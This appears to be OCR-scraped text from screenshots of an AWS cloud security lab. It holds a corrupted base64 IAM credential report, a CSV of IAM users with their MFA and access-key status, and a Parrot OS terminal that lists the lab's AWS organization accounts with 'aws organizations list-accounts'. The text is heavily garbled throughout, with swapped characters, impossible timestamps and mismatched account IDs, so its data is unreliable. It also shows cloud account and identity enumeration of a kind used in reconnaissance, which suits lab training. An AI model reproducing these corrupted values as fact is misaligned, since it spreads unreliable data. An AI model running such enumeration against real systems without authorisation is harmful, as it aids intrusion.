XmYWxzZSxmYWxzZSwyMDIzLTAyL TASVDAS0MA03U4K zAwO  AwL DIwMIMEMDMEMT hUMTMEMZAGMDArMDAGMDAS dXMt ZWF zdCOy LHN@ cyxmYlixzZSxOLOESTi9BLE4AVQSXOLOESZmF sc2UsTi9BLGZhbHN1LE4AVQQpmZWQtdXN1cixhcma6YXdzOmlhbTo6M]
KOMT cwNFUSNFUSONVZZXIvZmVkLXVZZXIsMjAyMy@uNS@zMVQxODo1NDoyMS swMDowMCx@cnV1LDIwMIMEMDY tMzBUMT I6MDC6NTMrMDAGMDASM AyMy@wNi0zMFQuMzo1NDozNy swMDowMCXOLOE S ZmF sc2UsdHI1ZSwyMDIzL TA3LTEZVDA303Q103MzKz
AwO3AwLDIwMjMEMDgtMDAUMTUGM ] EGMDARMDAGMDAS dXMEZWF zdCOXLG1hbSxmYlixzZSxOL@OE s Ti9BLE4VQSXOLOEsZmF s 2UsTi9BLGZhbHN1LE4vQQppbnQwMDE sYXJuOmF 3czppYW@603 ISNDE3MDY10TY10Tp1 c2VyL 21udDAwMSWyMDIOL TAYLTIZVD
A203A403USKzAWO AL GZhbHN1LE4vQSXOLOESTi9BLGZhbHN1LGZhbHN1LEAVQSXOLOESTi9BLEAVQSXmYWxZZSXOLOESTi9BLEAVQSXOLOESZmF sc2UsTi9BLGZhbHN1LE4vVQQptYWSpc2gsYXIuOmF 3¢ zppYWO603 ISNDE3MDY10TY10Tplc2VyL21hbm
1zaCwyMDIOLTAXLTEyVDEyO3 130 MyKzAwO AWLGZhbHN1LE4vQSXOLOESTi9BLGZhbHN1LGZhbHN1LDIWMQtMDELMT JUMTI6M] c6MzIrMDAGMDAST i 9BLEAVQSXOLOESZmF sc2UsTi9BLEAVQSXOLOESTi9BLGZhbHN1LEAVQSxmYWxzZSxOLOEKbWFuaX
NoQGF@b21pYy1udWiNsZWFyLnNpdGUsYXIuOmF 3czppYW@603 ISNDE3MDY10TY10Tp1c2VyL 21hbmlzaEBhdGtaWMtbnVjbGVhci5zaXR1LDIwMIEtMDktMDFUMTIENDUGMDCrMDAGMDAS ZmF s c2UsT19BLEAVQSXOLOES ZmF s c2UsZmF s c2UsMjAyMS@WOS
OWMVQxMj0@NToWOS swMDowMCxOLBE s Ti9BLEAVQSxmYUxzZSxOL@E s Ti9BLEAVQSXOLOEsZmF s c2UsTi9BLGZhbHN1LE4vQQpyYilsYWIsYXJuOmF3czppYWe603 ISNDE3MDY10TY10Tplc2VyL 334 LixhYiwyMDIyL TA4L TE3VDE303MA0 MxKzAWOFAWLG
ZhbHN1LE4vQSXOLOEsTi9BLGZhbHN1LHRydWUSMAYNCOWMi@xM1QwNZowODowMCswMDowMCwyMDIOL TAZL TAIVDE103M305 AwKzAwO AL HVZLWVhc3QtMSxpYWOs ZmF s c2UsTi9BLEAVQSXOLOEST1i9BLGZhbHN1LEAVQSxmYWxzZSxOLOEKU2F@aGlzaF
IsYXJuOmF3czppYWO603 ISNDE3MDY10TY10Tp1c2VyL 1NhdGhpc2hSLDIwMIMEMTEtM]dUMTQEMZE6MT ErMDAGMDASZmF s c2UsT19BLEAVQSXOLOESZmF sc2UsdHI1ZSwyMDIzL TEXLTI3VDE@O MxOFEyKzAwO  AwL E4vQSXOLOESTi9BLGZhbHNILE4VQS
XOL@EsTi9BLEAVQSxmYWxzZSxOL@ESZmFsc2UsTi9B"

“"ReportFormat”: "text/csv",

user,arn,user_creation_time,password_enabled,password_last_used,password_last_changed,password_next_rotation,mfa_active,access_key 1 active,access_key 1 last rotated,access_key 1 last_used_date,access_key 1 last_used_
<root_account>,arn:aws:iam: :294170659659:root,2021-88-26T13:33:17+00:00,not_supported,2024-04-01T10:33:05+00:00,not_supported,not_supported,false,true,2021-11-15T12:46:54+00:00,2021-11-15T13:19:00+00:00,us-east-2,ssm,
Automation,arn:aws:iam 94179659659:user/Automation,2922-91-14T29:52:66+ee:ee,false,NIA,N/A,N/A,false,false,2623-11-24116:23:42+ee:06,2624-92-62T67:18:ee+06:80,us-east-l,ian,true,2824-92-68T11:59:81+66:86,2924-92-231
AHS—Account—Adnin@atomic—nuclear.site,arn:aws:ian::294170659659:user/AHS—Account—Admin@atonic—nuclear.site,2021—09—91T12:43:53+60:Ge,false,N/A,N/A,N/ﬂ,false,false,N/A,N/R,N/A.N/“.false,N/A,N/A,N/A,N/A,false,N/A,false,
developer,arn:aws:iam::294176659559:userldeveloper,2624-63-18T14:48:83+69:66,fa15e,N/A,N/h,N/A,false,true,2924-93—18T14:49:36+66:ee,2624—64—61T19:56:ee+ee:69,us-east-2,kns,false,N/A,N/A,N/h,N/A,false,N/A,false,N/A
ec2-admin,arn:aws:iam::294170659659:user/ec2-admin,2021-10-10709:35:31+00:00, false,N/A,N/A,N/A, false, false, 2021-10-10709:35:33+00:00,2021-10-10T11:25:00+00:00, us-east-2,ec2,false,N/A,N/A,N/A,N/A,false,N/A,false,N/A
empee, arn: aws: iam: : 294170659659: user/emp@0, 2022-01-14T20:54:19+00:00, false,N/A,N/A,N/A, false,false,N/A,N/A,N/A,N/A, false,N/A,N/A,N/A,N/A, false,N/A, false, N/A

emp@e1,arn:aws:iam 294178659659:user/enpeBl,2924-02—23T06:69:81+66:Bo,false,N/i,N/A,N/A,false,false,N/A,N/A,N/A,N/A,false,N/A,N/A,N/A,N/A,false,N/A,false,N/A

emp@@2,arn:aws:iam: : 294170659659 : user/emp@02,2024-02-23706:09:01+00:00,false,N/A,N/A,N/A,false,false,N/A,N/A,N/A,N/A, false,N/A,N/A,N/A,N/A, false,N/A, false,N/A

emp@O3,arn:aws :iam: : 2904170659659 : user/empoo3, 2024-02-23T706:08:59+00:00,false,N/A,N/A,N/A,false,false,N/A,N/A,N/A,N/A, false,N/A,N/A,N/A,N/A, false ,N/A, false,N/A
feb-user,arn:aws:ian::294176659659:user/Feb-user,2023-02-69T69:35:51+69:80,fa15e,N/A,N/h,N/A,false,False,2023-62-69T09:38:58+80:BO,2923—63-18T13:38:86+80:80,us—east-2,sts,false,NIA,N/A,N/A,N/A,false,N/A,false,N/A
fed-user,arn:aws:iam: :294170659659:user/fed-user,2023-05-31T18:54:21+00:00, true,2023-06-30T712:07:53+00:00,2023-06-30T03:54:37+00:00,N/A,false, true,2023-07-13767:45:33+00:00,2023-08-07T15:21:00+00:00, us-east-1,iam,fals
int@e1,arn:aws:iam: : 294170659659 user/int0e1,2024-02-23T06:08:59+00:00, false,N/A,N/A,N/A, false, false,N/A,N/A,N/A,N/A, false,N/A,N/A,N/A,N/A, false,N/A,false,N/A
manish,arn:aws:ian.:294179659659:user/nanish,2024—01—12T12:27:32+90:ee,false,N/A,N/A,N/A,false,false,2024—61—12T12:27:32+80:99,N/A,N/A,N/ﬂ,false,N/A,N/A,N/A,N/A,false,N/A,false,N/A
manish@atomic-nuclear.site,arn:aws:iam: :294170659659:user/manish@atomic-nuclear.site,2021-09-01T12:45:07+00:00,false,N/A,N/A,N/A,false,false,2021-09-01T12:45:09+00:00,N/A,N/A,N/A,false ,N/A,N/A,N/A,N/A, false,N/A,false,
rb—lab,arn:aws:ian::294178659659:user/rb-1ab,2022-08-17T17:38:31+60:BO,false,N/i,N/A,N/A,false,true,2624—82-13T87:98:69+69:69,2824-83-95T15:37:66+86:00,us—east-1,iam,false,N/A,N/A,N/A,N/A,false,N/A,false,N/A
SathishR,arn:aws:iam: :29417@659659: user/SathishR,2023-11-27T14:31:11+00:00, false,N/A,N/A, N/A,false,true,2023-11-27T14:31:12+00:00,N/A,N/A,N/A, false,N/A,N/A,N/A,N/A, false,N/A, false, N/d




{

—!parrot@parrot]|—[~/.aws

- $aws organizations list-accounts --profile cwl-iam

"Accounts": [

{

"Id": "250327961994",

"Arn": "arn:aws:organizations::250327961994:account/o-hljwvba8pg/250327961994",
"Email": "support@meta-tech.cloud",

"Name": "CWL AWS Master Account",

"Status": "ACTIVE",

"JoinedMethod": "INVITED",

"JoinedTimestamp": 1674565668 .864

"Id": "294170659659",

"Arn": "arn:aws:organizations::250327961994:account/o-hljwvba8pg/294170659659",
"Email": "admin@atomic-nuclear.site",

"Name": "CHMRTS-Demo-Lab-Account",

"Status": "ACTIVE",

"JoinedMethod": "INVITED",

"JoinedTimestamp": 1674655552.95

"Id": "664776131940",

"Arn": "arn:aws:organizations::250327961994:account/o-hljwvba8pg/664776131940",
"Email": "support@cyberwarfare.live",

"Name": "CARTS-Challenge-Lab-Account",

"Status": "ACTIVE",

"JoinedMethod": "INVITED",

"JoinedTimestamp": 1674661393.976

"Id": "529999803336",
"Arn": "arn:aws:organizations::250327961994:account/o-hljwvba8pg/529999803336",
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